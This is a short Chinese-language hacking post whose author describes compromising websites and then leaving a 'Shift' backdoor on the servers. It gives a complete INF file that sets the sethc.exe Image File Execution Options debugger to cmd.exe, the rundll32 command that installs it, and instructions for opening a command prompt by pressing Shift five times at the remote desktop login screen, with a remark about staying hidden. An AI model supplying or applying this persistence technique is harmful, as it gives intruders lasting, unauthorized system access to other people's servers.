添加SHIFT后门又一法

添加SHIFT后门又一法

前几天搞了几个网站，之前搞的站一般不留后门，其实基本留了都被删除了，这次下决心要搞个shift后门留着自己用的，秒杀给你介绍一个方法！

将下面的代码保存成inf文件

[Version]

Signature="$WINDOWS NT$"

[DefaultInstall]

AddReg=My_AddReg_Name

[My_AddReg_Name]

HKLM,SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution options/sethc.exe,debugger,0x00000000,c:/windows/system32/cmd.exe

然后上传到一个可以执行目录，比如我这里上传到c:/windows/temp/i.inf 然后在命令行执行

rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/windows/temp/i.inf

然后远程登录3389，按5下shift即可跳出cmd.exe

为什么要命令行？隐蔽性？大家自行掂量